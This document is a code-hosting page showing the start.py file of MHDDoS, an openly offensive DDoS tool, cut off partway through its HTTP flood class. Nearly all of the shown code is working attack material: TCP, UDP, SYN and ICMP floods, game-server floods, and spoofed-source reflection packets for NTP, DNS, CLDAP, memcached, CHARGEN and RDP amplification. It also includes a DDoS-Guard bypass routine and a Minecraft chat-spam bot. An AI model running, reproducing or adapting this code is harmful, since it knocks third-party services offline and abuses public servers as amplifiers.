Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
MatrixTM
GitHub Repository: MatrixTM/MHDDoS
Path: blob/main/start.py
451 views
1
#!/usr/bin/env python3
2
3
from concurrent.futures import ThreadPoolExecutor, as_completed
4
from contextlib import suppress
5
from itertools import cycle
6
from json import load
7
from logging import basicConfig, getLogger, shutdown
8
from math import log2, trunc
9
from multiprocessing import RawValue
10
from os import urandom as randbytes
11
from pathlib import Path
12
from re import compile
13
from random import choice as randchoice
14
from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, SOCK_DGRAM, IPPROTO_ICMP,
15
SOCK_RAW, SOCK_STREAM, TCP_NODELAY, gethostbyname,
16
gethostname, socket)
17
from ssl import CERT_NONE, SSLContext, create_default_context
18
from struct import pack as data_pack
19
from subprocess import run, PIPE
20
from sys import argv
21
from sys import exit as _exit
22
from threading import Event, Thread
23
from time import sleep, time
24
from typing import Any, List, Set, Tuple
25
from urllib import parse
26
from uuid import UUID, uuid4
27
28
from PyRoxy import Proxy, ProxyChecker, ProxyType, ProxyUtiles
29
from PyRoxy import Tools as ProxyTools
30
from certifi import where
31
from cloudscraper import create_scraper
32
from dns import resolver
33
from icmplib import ping
34
from impacket.ImpactPacket import IP, TCP, UDP, Data, ICMP
35
from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory
36
from requests import Response, Session, exceptions, get, cookies
37
from yarl import URL
38
from base64 import b64encode
39
40
basicConfig(format='[%(asctime)s - %(levelname)s] %(message)s',
41
datefmt="%H:%M:%S")
42
logger = getLogger("MHDDoS")
43
logger.setLevel("INFO")
44
ctx: SSLContext = create_default_context(cafile=where())
45
ctx.check_hostname = False
46
ctx.verify_mode = CERT_NONE
47
48
__version__: str = "2.4 SNAPSHOT"
49
__dir__: Path = Path(__file__).parent
50
__ip__: Any = None
51
tor2webs = [
52
'onion.city',
53
'onion.cab',
54
'onion.direct',
55
'onion.sh',
56
'onion.link',
57
'onion.ws',
58
'onion.pet',
59
'onion.rip',
60
'onion.plus',
61
'onion.top',
62
'onion.si',
63
'onion.ly',
64
'onion.my',
65
'onion.sh',
66
'onion.lu',
67
'onion.casa',
68
'onion.com.de',
69
'onion.foundation',
70
'onion.rodeo',
71
'onion.lat',
72
'tor2web.org',
73
'tor2web.fi',
74
'tor2web.blutmagie.de',
75
'tor2web.to',
76
'tor2web.io',
77
'tor2web.in',
78
'tor2web.it',
79
'tor2web.xyz',
80
'tor2web.su',
81
'darknet.to',
82
's1.tor-gateways.de',
83
's2.tor-gateways.de',
84
's3.tor-gateways.de',
85
's4.tor-gateways.de',
86
's5.tor-gateways.de'
87
]
88
89
with open(__dir__ / "config.json") as f:
90
con = load(f)
91
92
with socket(AF_INET, SOCK_DGRAM) as s:
93
s.connect(("8.8.8.8", 80))
94
__ip__ = s.getsockname()[0]
95
96
97
class bcolors:
98
HEADER = '\033[95m'
99
OKBLUE = '\033[94m'
100
OKCYAN = '\033[96m'
101
OKGREEN = '\033[92m'
102
WARNING = '\033[93m'
103
FAIL = '\033[91m'
104
RESET = '\033[0m'
105
BOLD = '\033[1m'
106
UNDERLINE = '\033[4m'
107
108
109
def exit(*message):
110
if message:
111
logger.error(bcolors.FAIL + " ".join(message) + bcolors.RESET)
112
shutdown()
113
_exit(1)
114
115
116
class Methods:
117
LAYER7_METHODS: Set[str] = {
118
"CFB", "BYPASS", "GET", "POST", "OVH", "STRESS", "DYN", "SLOW", "HEAD",
119
"NULL", "COOKIE", "PPS", "EVEN", "GSB", "DGB", "AVB", "CFBUAM",
120
"APACHE", "XMLRPC", "BOT", "BOMB", "DOWNLOADER", "KILLER", "TOR", "RHEX", "STOMP"
121
}
122
123
LAYER4_AMP: Set[str] = {
124
"MEM", "NTP", "DNS", "ARD",
125
"CLDAP", "CHAR", "RDP"
126
}
127
128
LAYER4_METHODS: Set[str] = {*LAYER4_AMP,
129
"TCP", "UDP", "SYN", "VSE", "MINECRAFT",
130
"MCBOT", "CONNECTION", "CPS", "FIVEM",
131
"TS3", "MCPE", "ICMP"
132
}
133
134
ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS}
135
136
137
google_agents = [
138
"Mozila/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
139
"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, "
140
"like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; "
141
"+http://www.google.com/bot.html)) "
142
"Googlebot/2.1 (+http://www.google.com/bot.html)",
143
"Googlebot/2.1 (+http://www.googlebot.com/bot.html)"
144
]
145
146
147
class Counter:
148
def __init__(self, value=0):
149
self._value = RawValue('i', value)
150
151
def __iadd__(self, value):
152
self._value.value += value
153
return self
154
155
def __int__(self):
156
return self._value.value
157
158
def set(self, value):
159
self._value.value = value
160
return self
161
162
163
REQUESTS_SENT = Counter()
164
BYTES_SEND = Counter()
165
166
167
class Tools:
168
IP = compile("(?:\\d{1,3}\\.){3}\\d{1,3}")
169
protocolRex = compile('"protocol":(\\d+)')
170
171
@staticmethod
172
def humanbytes(i: int, binary: bool = False, precision: int = 2):
173
MULTIPLES = [
174
"B", "k{}B", "M{}B", "G{}B", "T{}B", "P{}B", "E{}B", "Z{}B", "Y{}B"
175
]
176
if i > 0:
177
base = 1024 if binary else 1000
178
multiple = trunc(log2(i) / log2(base))
179
value = i / pow(base, multiple)
180
suffix = MULTIPLES[multiple].format("i" if binary else "")
181
return f"{value:.{precision}f} {suffix}"
182
else:
183
return "-- B"
184
185
@staticmethod
186
def humanformat(num: int, precision: int = 2):
187
suffixes = ['', 'k', 'm', 'g', 't', 'p']
188
if num > 999:
189
obje = sum(
190
[abs(num / 1000.0 ** x) >= 1 for x in range(1, len(suffixes))])
191
return f'{num / 1000.0 ** obje:.{precision}f}{suffixes[obje]}'
192
else:
193
return num
194
195
@staticmethod
196
def sizeOfRequest(res: Response) -> int:
197
size: int = len(res.request.method)
198
size += len(res.request.url)
199
size += len('\r\n'.join(f'{key}: {value}'
200
for key, value in res.request.headers.items()))
201
return size
202
203
@staticmethod
204
def send(sock: socket, packet: bytes):
205
global BYTES_SEND, REQUESTS_SENT
206
if not sock.send(packet):
207
return False
208
BYTES_SEND += len(packet)
209
REQUESTS_SENT += 1
210
return True
211
212
@staticmethod
213
def sendto(sock, packet, target):
214
global BYTES_SEND, REQUESTS_SENT
215
if not sock.sendto(packet, target):
216
return False
217
BYTES_SEND += len(packet)
218
REQUESTS_SENT += 1
219
return True
220
221
@staticmethod
222
def dgb_solver(url, ua, pro=None):
223
s = None
224
idss = None
225
with Session() as s:
226
if pro:
227
s.proxies = pro
228
hdrs = {
229
"User-Agent": ua,
230
"Accept": "text/html",
231
"Accept-Language": "en-US",
232
"Connection": "keep-alive",
233
"Sec-Fetch-Dest": "document",
234
"Sec-Fetch-Mode": "navigate",
235
"Sec-Fetch-Site": "none",
236
"Sec-Fetch-User": "?1",
237
"TE": "trailers",
238
"DNT": "1"
239
}
240
with s.get(url, headers=hdrs) as ss:
241
for key, value in ss.cookies.items():
242
s.cookies.set_cookie(cookies.create_cookie(key, value))
243
hdrs = {
244
"User-Agent": ua,
245
"Accept": "*/*",
246
"Accept-Language": "en-US,en;q=0.5",
247
"Accept-Encoding": "gzip, deflate",
248
"Referer": url,
249
"Sec-Fetch-Dest": "script",
250
"Sec-Fetch-Mode": "no-cors",
251
"Sec-Fetch-Site": "cross-site"
252
}
253
with s.post("https://check.ddos-guard.net/check.js", headers=hdrs) as ss:
254
for key, value in ss.cookies.items():
255
if key == '__ddg2':
256
idss = value
257
s.cookies.set_cookie(cookies.create_cookie(key, value))
258
259
hdrs = {
260
"User-Agent": ua,
261
"Accept": "image/webp,*/*",
262
"Accept-Language": "en-US,en;q=0.5",
263
"Accept-Encoding": "gzip, deflate",
264
"Cache-Control": "no-cache",
265
"Referer": url,
266
"Sec-Fetch-Dest": "script",
267
"Sec-Fetch-Mode": "no-cors",
268
"Sec-Fetch-Site": "cross-site"
269
}
270
with s.get(f"{url}.well-known/ddos-guard/id/{idss}", headers=hdrs) as ss:
271
for key, value in ss.cookies.items():
272
s.cookies.set_cookie(cookies.create_cookie(key, value))
273
return s
274
275
return False
276
277
@staticmethod
278
def safe_close(sock=None):
279
if sock:
280
sock.close()
281
282
283
class Minecraft:
284
@staticmethod
285
def varint(d: int) -> bytes:
286
o = b''
287
while True:
288
b = d & 0x7F
289
d >>= 7
290
o += data_pack("B", b | (0x80 if d > 0 else 0))
291
if d == 0:
292
break
293
return o
294
295
@staticmethod
296
def data(*payload: bytes) -> bytes:
297
payload = b''.join(payload)
298
return Minecraft.varint(len(payload)) + payload
299
300
@staticmethod
301
def short(integer: int) -> bytes:
302
return data_pack('>H', integer)
303
304
@staticmethod
305
def long(integer: int) -> bytes:
306
return data_pack('>q', integer)
307
308
@staticmethod
309
def handshake(target: Tuple[str, int], version: int, state: int) -> bytes:
310
return Minecraft.data(Minecraft.varint(0x00),
311
Minecraft.varint(version),
312
Minecraft.data(target[0].encode()),
313
Minecraft.short(target[1]),
314
Minecraft.varint(state))
315
316
@staticmethod
317
def handshake_forwarded(target: Tuple[str, int], version: int, state: int, ip: str, uuid: UUID) -> bytes:
318
return Minecraft.data(Minecraft.varint(0x00),
319
Minecraft.varint(version),
320
Minecraft.data(
321
target[0].encode(),
322
b"\x00",
323
ip.encode(),
324
b"\x00",
325
uuid.hex.encode()
326
),
327
Minecraft.short(target[1]),
328
Minecraft.varint(state))
329
330
@staticmethod
331
def login(protocol: int, username: str) -> bytes:
332
if isinstance(username, str):
333
username = username.encode()
334
return Minecraft.data(Minecraft.varint(0x00 if protocol >= 391 else \
335
0x01 if protocol >= 385 else \
336
0x00),
337
Minecraft.data(username))
338
339
@staticmethod
340
def keepalive(protocol: int, num_id: int) -> bytes:
341
return Minecraft.data(Minecraft.varint(0x0F if protocol >= 755 else \
342
0x10 if protocol >= 712 else \
343
0x0F if protocol >= 471 else \
344
0x10 if protocol >= 464 else \
345
0x0E if protocol >= 389 else \
346
0x0C if protocol >= 386 else \
347
0x0B if protocol >= 345 else \
348
0x0A if protocol >= 343 else \
349
0x0B if protocol >= 336 else \
350
0x0C if protocol >= 318 else \
351
0x0B if protocol >= 107 else \
352
0x00),
353
Minecraft.long(num_id) if protocol >= 339 else \
354
Minecraft.varint(num_id))
355
356
@staticmethod
357
def chat(protocol: int, message: str) -> bytes:
358
return Minecraft.data(Minecraft.varint(0x03 if protocol >= 755 else \
359
0x03 if protocol >= 464 else \
360
0x02 if protocol >= 389 else \
361
0x01 if protocol >= 343 else \
362
0x02 if protocol >= 336 else \
363
0x03 if protocol >= 318 else \
364
0x02 if protocol >= 107 else \
365
0x01),
366
Minecraft.data(message.encode()))
367
368
369
# noinspection PyBroadException,PyUnusedLocal
370
class Layer4(Thread):
371
_method: str
372
_target: Tuple[str, int]
373
_ref: Any
374
SENT_FLOOD: Any
375
_amp_payloads = cycle
376
_proxies: List[Proxy] = None
377
378
def __init__(self,
379
target: Tuple[str, int],
380
ref: List[str] = None,
381
method: str = "TCP",
382
synevent: Event = None,
383
proxies: Set[Proxy] = None,
384
protocolid: int = 74):
385
Thread.__init__(self, daemon=True)
386
self._amp_payload = None
387
self._amp_payloads = cycle([])
388
self._ref = ref
389
self.protocolid = protocolid
390
self._method = method
391
self._target = target
392
self._synevent = synevent
393
if proxies:
394
self._proxies = list(proxies)
395
396
self.methods = {
397
"UDP": self.UDP,
398
"SYN": self.SYN,
399
"VSE": self.VSE,
400
"TS3": self.TS3,
401
"MCPE": self.MCPE,
402
"FIVEM": self.FIVEM,
403
"MINECRAFT": self.MINECRAFT,
404
"CPS": self.CPS,
405
"CONNECTION": self.CONNECTION,
406
"MCBOT": self.MCBOT,
407
}
408
409
def run(self) -> None:
410
if self._synevent: self._synevent.wait()
411
self.select(self._method)
412
while self._synevent.is_set():
413
self.SENT_FLOOD()
414
415
def open_connection(self,
416
conn_type=AF_INET,
417
sock_type=SOCK_STREAM,
418
proto_type=IPPROTO_TCP):
419
if self._proxies:
420
s = randchoice(self._proxies).open_socket(
421
conn_type, sock_type, proto_type)
422
else:
423
s = socket(conn_type, sock_type, proto_type)
424
s.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
425
s.settimeout(.9)
426
s.connect(self._target)
427
return s
428
429
def TCP(self) -> None:
430
s = None
431
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
432
while Tools.send(s, randbytes(1024)):
433
continue
434
Tools.safe_close(s)
435
436
def MINECRAFT(self) -> None:
437
handshake = Minecraft.handshake(self._target, self.protocolid, 1)
438
ping = Minecraft.data(b'\x00')
439
440
s = None
441
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
442
while Tools.send(s, handshake):
443
Tools.send(s, ping)
444
Tools.safe_close(s)
445
446
def CPS(self) -> None:
447
global REQUESTS_SENT
448
s = None
449
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
450
REQUESTS_SENT += 1
451
Tools.safe_close(s)
452
453
def alive_connection(self) -> None:
454
s = None
455
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
456
while s.recv(1):
457
continue
458
Tools.safe_close(s)
459
460
def CONNECTION(self) -> None:
461
global REQUESTS_SENT
462
with suppress(Exception):
463
Thread(target=self.alive_connection).start()
464
REQUESTS_SENT += 1
465
466
def UDP(self) -> None:
467
s = None
468
with suppress(Exception), socket(AF_INET, SOCK_DGRAM) as s:
469
while Tools.sendto(s, randbytes(1024), self._target):
470
continue
471
Tools.safe_close(s)
472
473
def ICMP(self) -> None:
474
payload = self._genrate_icmp()
475
s = None
476
with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_ICMP) as s:
477
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
478
while Tools.sendto(s, payload, self._target):
479
continue
480
Tools.safe_close(s)
481
482
def SYN(self) -> None:
483
s = None
484
with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_TCP) as s:
485
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
486
while Tools.sendto(s, self._genrate_syn(), self._target):
487
continue
488
Tools.safe_close(s)
489
490
def AMP(self) -> None:
491
s = None
492
with suppress(Exception), socket(AF_INET, SOCK_RAW,
493
IPPROTO_UDP) as s:
494
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
495
while Tools.sendto(s, *next(self._amp_payloads)):
496
continue
497
Tools.safe_close(s)
498
499
def MCBOT(self) -> None:
500
s = None
501
502
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
503
Tools.send(s, Minecraft.handshake_forwarded(self._target,
504
self.protocolid,
505
2,
506
ProxyTools.Random.rand_ipv4(),
507
uuid4()))
508
username = f"{con['MCBOT']}{ProxyTools.Random.rand_str(5)}"
509
password = b64encode(username.encode()).decode()[:8].title()
510
Tools.send(s, Minecraft.login(self.protocolid, username))
511
512
sleep(1.5)
513
514
Tools.send(s, Minecraft.chat(self.protocolid, "/register %s %s" % (password, password)))
515
Tools.send(s, Minecraft.chat(self.protocolid, "/login %s" % password))
516
517
while Tools.send(s, Minecraft.chat(self.protocolid, str(ProxyTools.Random.rand_str(256)))):
518
sleep(1.1)
519
520
Tools.safe_close(s)
521
522
def VSE(self) -> None:
523
global BYTES_SEND, REQUESTS_SENT
524
payload = (b'\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65'
525
b'\x20\x51\x75\x65\x72\x79\x00')
526
with socket(AF_INET, SOCK_DGRAM) as s:
527
while Tools.sendto(s, payload, self._target):
528
continue
529
Tools.safe_close(s)
530
531
def FIVEM(self) -> None:
532
global BYTES_SEND, REQUESTS_SENT
533
payload = b'\xff\xff\xff\xffgetinfo xxx\x00\x00\x00'
534
with socket(AF_INET, SOCK_DGRAM) as s:
535
while Tools.sendto(s, payload, self._target):
536
continue
537
Tools.safe_close(s)
538
539
def TS3(self) -> None:
540
global BYTES_SEND, REQUESTS_SENT
541
payload = b'\x05\xca\x7f\x16\x9c\x11\xf9\x89\x00\x00\x00\x00\x02'
542
with socket(AF_INET, SOCK_DGRAM) as s:
543
while Tools.sendto(s, payload, self._target):
544
continue
545
Tools.safe_close(s)
546
547
def MCPE(self) -> None:
548
global BYTES_SEND, REQUESTS_SENT
549
payload = (b'\x61\x74\x6f\x6d\x20\x64\x61\x74\x61\x20\x6f\x6e\x74\x6f\x70\x20\x6d\x79\x20\x6f'
550
b'\x77\x6e\x20\x61\x73\x73\x20\x61\x6d\x70\x2f\x74\x72\x69\x70\x68\x65\x6e\x74\x20'
551
b'\x69\x73\x20\x6d\x79\x20\x64\x69\x63\x6b\x20\x61\x6e\x64\x20\x62\x61\x6c\x6c'
552
b'\x73')
553
with socket(AF_INET, SOCK_DGRAM) as s:
554
while Tools.sendto(s, payload, self._target):
555
continue
556
Tools.safe_close(s)
557
558
def _genrate_syn(self) -> bytes:
559
ip: IP = IP()
560
ip.set_ip_src(__ip__)
561
ip.set_ip_dst(self._target[0])
562
tcp: TCP = TCP()
563
tcp.set_SYN()
564
tcp.set_th_flags(0x02)
565
tcp.set_th_dport(self._target[1])
566
tcp.set_th_sport(ProxyTools.Random.rand_int(32768, 65535))
567
ip.contains(tcp)
568
return ip.get_packet()
569
570
def _genrate_icmp(self) -> bytes:
571
ip: IP = IP()
572
ip.set_ip_src(__ip__)
573
ip.set_ip_dst(self._target[0])
574
icmp: ICMP = ICMP()
575
icmp.set_icmp_type(icmp.ICMP_ECHO)
576
icmp.contains(Data(b"A" * ProxyTools.Random.rand_int(16, 1024)))
577
ip.contains(icmp)
578
return ip.get_packet()
579
580
def _generate_amp(self):
581
payloads = []
582
for ref in self._ref:
583
ip: IP = IP()
584
ip.set_ip_src(self._target[0])
585
ip.set_ip_dst(ref)
586
587
ud: UDP = UDP()
588
ud.set_uh_dport(self._amp_payload[1])
589
ud.set_uh_sport(self._target[1])
590
591
ud.contains(Data(self._amp_payload[0]))
592
ip.contains(ud)
593
594
payloads.append((ip.get_packet(), (ref, self._amp_payload[1])))
595
return payloads
596
597
def select(self, name):
598
self.SENT_FLOOD = self.TCP
599
for key, value in self.methods.items():
600
if name == key:
601
self.SENT_FLOOD = value
602
elif name == "ICMP":
603
self.SENT_FLOOD = self.ICMP
604
self._target = (self._target[0], 0)
605
elif name == "RDP":
606
self._amp_payload = (
607
b'\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00',
608
3389)
609
self.SENT_FLOOD = self.AMP
610
self._amp_payloads = cycle(self._generate_amp())
611
elif name == "CLDAP":
612
self._amp_payload = (
613
b'\x30\x25\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x00'
614
b'\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x63\x6c\x61\x73\x73\x30\x00',
615
389)
616
self.SENT_FLOOD = self.AMP
617
self._amp_payloads = cycle(self._generate_amp())
618
elif name == "MEM":
619
self._amp_payload = (
620
b'\x00\x01\x00\x00\x00\x01\x00\x00gets p h e\n', 11211)
621
self.SENT_FLOOD = self.AMP
622
self._amp_payloads = cycle(self._generate_amp())
623
elif name == "CHAR":
624
self._amp_payload = (b'\x01', 19)
625
self.SENT_FLOOD = self.AMP
626
self._amp_payloads = cycle(self._generate_amp())
627
elif name == "ARD":
628
self._amp_payload = (b'\x00\x14\x00\x00', 3283)
629
self.SENT_FLOOD = self.AMP
630
self._amp_payloads = cycle(self._generate_amp())
631
elif name == "NTP":
632
self._amp_payload = (b'\x17\x00\x03\x2a\x00\x00\x00\x00', 123)
633
self.SENT_FLOOD = self.AMP
634
self._amp_payloads = cycle(self._generate_amp())
635
elif name == "DNS":
636
self._amp_payload = (
637
b'\x45\x67\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x02\x73\x6c\x00\x00\xff\x00\x01\x00'
638
b'\x00\x29\xff\xff\x00\x00\x00\x00\x00\x00',
639
53)
640
self.SENT_FLOOD = self.AMP
641
self._amp_payloads = cycle(self._generate_amp())
642
643
644
# noinspection PyBroadException,PyUnusedLocal
645
class HttpFlood(Thread):
646
_proxies: List[Proxy] = None
647
_payload: str
648
_defaultpayload: Any
649
_req_type: str
650
_useragents: List[str]
651
_referers: List[str]
652
_target: URL
653
_method: str
654
_rpc: int
655
_synevent: Any
656
SENT_FLOOD: Any
657
658
def __init__(self,
659
thread_id: int,
660
target: URL,
661
host: str,
662
method: str = "GET",
663
rpc: int = 1,
664
synevent: Event = None,
665
useragents: Set[str] = None,
666
referers: Set[str] = None,
667
proxies: Set[Proxy] = None) -> None:
668
Thread.__init__(self, daemon=True)
669
self.SENT_FLOOD = None
670
self._thread_id = thread_id
671
self._synevent = synevent
672
self._rpc = rpc
673
self._method = method
674
self._target = target
675
self._host = host
676
self._raw_target = (self._host, (self._target.port or 80))
677
678
if not self._target.host[len(self._target.host) - 1].isdigit():
679
self._raw_target = (self._host, (self._target.port or 80))
680
681
self.methods = {
682
"POST": self.POST,
683
"CFB": self.CFB,
684
"CFBUAM": self.CFBUAM,
685
"XMLRPC": self.XMLRPC,
686
"BOT": self.BOT,
687
"APACHE": self.APACHE,
688
"BYPASS": self.BYPASS,
689
"DGB": self.DGB,
690
"OVH": self.OVH,
691
"AVB": self.AVB,
692
"STRESS": self.STRESS,
693
"DYN": self.DYN,
694
"SLOW": self.SLOW,
695
"GSB": self.GSB,
696
"RHEX": self.RHEX,
697
"STOMP": self.STOMP,
698
"NULL": self.NULL,
699
"COOKIE": self.COOKIES,
700
"TOR": self.TOR,
701
"EVEN": self.EVEN,
702
"DOWNLOADER": self.DOWNLOADER,
703
"BOMB": self.BOMB,
704
"PPS": self.PPS,
705
"KILLER": self.KILLER,
706
}
707
708
if not referers:
709
referers: List[str] = [
710
"https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=",
711
",https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer"
712
"/sharer.php?u=",
713
",https://drive.google.com/viewerng/viewer?url=",
714
",https://www.google.com/translate?u="
715
]
716
self._referers = list(referers)
717
if proxies:
718
self._proxies = list(proxies)
719
720
if not useragents:
721
useragents: List[str] = [
722
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 ',
723
'Safari/537.36',
724
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 ',
725
'Safari/537.36',
726
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 ',
727
'Safari/537.36',
728
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0',
729
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19582',
730
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19577',
731
'Mozilla/5.0 (X11) AppleWebKit/62.41 (KHTML, like Gecko) Edge/17.10859 Safari/452.6',
732
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14931',
733
'Chrome (AppleWebKit/537.1; Chrome50.0; Windows NT 6.3) AppleWebKit/537.36 (KHTML like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393',
734
'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.9200',
735
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586',
736
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246',
737
'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30',
738
'Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30',
739
'Mozilla/5.0 (Linux; U; Android 2.3; en-us) AppleWebKit/999+ (KHTML, like Gecko) Safari/999.9',
740
'Mozilla/5.0 (Linux; U; Android 2.3.5; zh-cn; HTC_IncredibleS_S710e Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
741
'Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; HTC Vision Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
742
'Mozilla/5.0 (Linux; U; Android 2.3.4; fr-fr; HTC Desire Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
743
'Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; T-Mobile myTouch 3G Slide Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
744
'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC_Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
745
'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC_Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari',
746
'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
747
'Mozilla/5.0 (Linux; U; Android 2.3.3; ko-kr; LG-LU3000 Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
748
'Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
749
'Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile',
750
'Mozilla/5.0 (Linux; U; Android 2.3.3; de-de; HTC Desire Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
751
'Mozilla/5.0 (Linux; U; Android 2.3.3; de-ch; HTC Desire Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
752
'Mozilla/5.0 (Linux; U; Android 2.2; fr-lu; HTC Legend Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
753
'Mozilla/5.0 (Linux; U; Android 2.2; en-sa; HTC_DesireHD_A9191 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
754
'Mozilla/5.0 (Linux; U; Android 2.2.1; fr-fr; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
755
'Mozilla/5.0 (Linux; U; Android 2.2.1; en-gb; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
756
'Mozilla/5.0 (Linux; U; Android 2.2.1; en-ca; LG-P505R Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1'
757
]
758
self._useragents = list(useragents)
759
self._req_type = self.getMethodType(method)
760
self._defaultpayload = "%s %s HTTP/%s\r\n" % (self._req_type,
761
target.raw_path_qs, randchoice(['1.0', '1.1', '1.2']))
762
self._payload = (self._defaultpayload +
763
'Accept-Encoding: gzip, deflate, br\r\n'
764
'Accept-Language: en-US,en;q=0.9\r\n'
765
'Cache-Control: max-age=0\r\n'
766
'Connection: keep-alive\r\n'
767
'Sec-Fetch-Dest: document\r\n'
768
'Sec-Fetch-Mode: navigate\r\n'
769
'Sec-Fetch-Site: none\r\n'
770
'Sec-Fetch-User: ?1\r\n'
771
'Sec-Gpc: 1\r\n'
772
'Pragma: no-cache\r\n'
773
'Upgrade-Insecure-Requests: 1\r\n')
774
775
def select(self, name: str) -> None:
776
self.SENT_FLOOD = self.GET
777
for key, value in self.methods.items():
778
if name == key:
779
self.SENT_FLOOD = value
780
781
def run(self) -> None:
782
if self._synevent: self._synevent.wait()
783
self.select(self._method)
784
while self._synevent.is_set():
785
self.SENT_FLOOD()
786
787
@property
788
def SpoofIP(self) -> str:
789
spoof: str = ProxyTools.Random.rand_ipv4()
790
return ("X-Forwarded-Proto: Http\r\n"
791
f"X-Forwarded-Host: {self._target.raw_host}, 1.1.1.1\r\n"
792
f"Via: {spoof}\r\n"
793
f"Client-IP: {spoof}\r\n"
794
f'X-Forwarded-For: {spoof}\r\n'
795
f'Real-IP: {spoof}\r\n')
796
797
def generate_payload(self, other: str = None) -> bytes:
798
return str.encode((self._payload +
799
f"Host: {self._target.authority}\r\n" +
800
self.randHeadercontent +
801
(other if other else "") +
802
"\r\n"))
803
804
